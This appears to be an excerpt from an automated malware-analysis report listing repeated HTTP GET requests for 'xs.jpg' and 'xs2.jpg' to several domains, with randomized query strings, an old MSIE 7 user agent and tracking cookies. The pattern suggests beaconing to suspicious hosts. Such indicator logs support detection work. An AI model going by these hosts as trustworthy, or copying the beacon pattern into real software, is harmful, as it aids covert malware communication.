Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1c7d0e18=-471306048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159270|1720159208|4|14|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?1d1fe4cd=1465888359 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159270|1720159209|3|14|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1d74f53a=1976816872 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159271|1720159210|4|14|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?1eda9402=881444884 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?20477b5a=37477072 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?21e29ffa=821534666 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159275|1720159208|4|15|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?222ff603=1720705545 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159275|1720159209|4|15|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2340b65a=-746306020 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159276|1720159210|4|15|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?23fa445e=1741073324 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?258061e0=109227296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?278faa5f=-976333861 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159279|1720159208|4|16|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?28beeeaa=-1560560984 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159280|1720159209|4|16|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?29c644f8=1401719280 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159281|1720159210|4|16|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?2abb0eed=-1427358796 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?2be8bf39=-611599331 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?384fb301=-1031956472 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159283|1720159208|4|17|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?39c6efac=1103453368 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159284|1720159209|4|17|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3b304979=-645772344 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159284|1720159210|3|17|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3bc3b77a=718443874 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?3d425ee3=659903995 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3fa90d2a=-22793048 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159287|1720159208|4|18|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?4108a95f=-1021707235 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159288|1720159209|4|18|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?42301d5c=1257280204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159288|1720159210|3|18|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?43352d54=-912291844 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?449576d0=-1686058784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?46b38069=1186168937 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159291|1720159208|4|19|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?535f3d04=-1497466360 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159292|1720159209|4|19|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?54aff5f2=-1518358640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159292|1720159210|3|19|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?5640212f=1539369033 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?58390002=436273170 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5b06aaf8=-1908232784 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159295|1720159208|4|20|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?5cf0e727=1559291687 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159296|1720159209|4|20|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5e1194d3=879328498 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159296|1720159210|3|20|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?6a6910d4=-1448852656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?71e23396=15978566 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?7bb4b600=1931354624 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159299|1720159208|4|21|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?80fcb0d0=-2031561296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159300|1720159209|4|21|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?84b622e8=-2068438296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159300|1720159210|3|21|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?873c5f9c=728382888 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?8ab49f65=-890217533 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?954ac704=-361372908 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159303|1720159208|4|22|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?9cb0bbcd=-1406900530 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159303|1720159209|3|22|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a1720886=-1392358218 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159305|1720159210|4|22|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?a48d053f=-615637126 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?ac5b7b63=-1233100875 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b96c587c=301362020 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159308|1720159208|4|23|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?be1cb312=978721078 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159309|1720159209|4|23|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?c0085b83=2190860 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159310|1720159210|4|23|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?c4838ba0=1300931296 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?c8ef12d5=599542612 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?da83e528=-1365045656 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159313|1720159208|4|24|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?dfb790c0=-37976576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159314|1720159209|4|24|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?e4813b52=1065918270 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159315|1720159210|4|24|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?e8e7cd9a=1195273424 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?efa78aa1=-1645396026 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?fbcb7f39=-423298218 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159318|1720159208|4|25|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?30c6233=409145752 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159318|1720159209|4|25|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a319847=342044814 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159320|1720159210|4|25|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?fd2ec80=1327406720 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?16ed0657=-833275633 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?21aa9ba6=223665456 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159323|1720159208|4|26|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?28fcab5b=-1544376980 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159324|1720159209|5|26|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?2eabe496=1566034220 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159324|1720159210|4|26|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?32b2701b=-1743302575 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?23b8063f=-699390598 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?85bd571b=385178732 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159327|1720159208|4|27|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d2e6b20f=-1513266146 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159328|1720159209|4|27|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?a943d155=-1525725868 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159329|1720159210|4|27|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?ecd712f4=-1285796912 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?2809b591=1343449890 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?3f1ddc44=2117843080 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159332|1720159208|4|28|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d0ca9ad5=1918881919 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159333|1720159209|4|28|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d1dfc492=425645786 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159333|1720159210|4|28|0; snkz=8.46.123.33
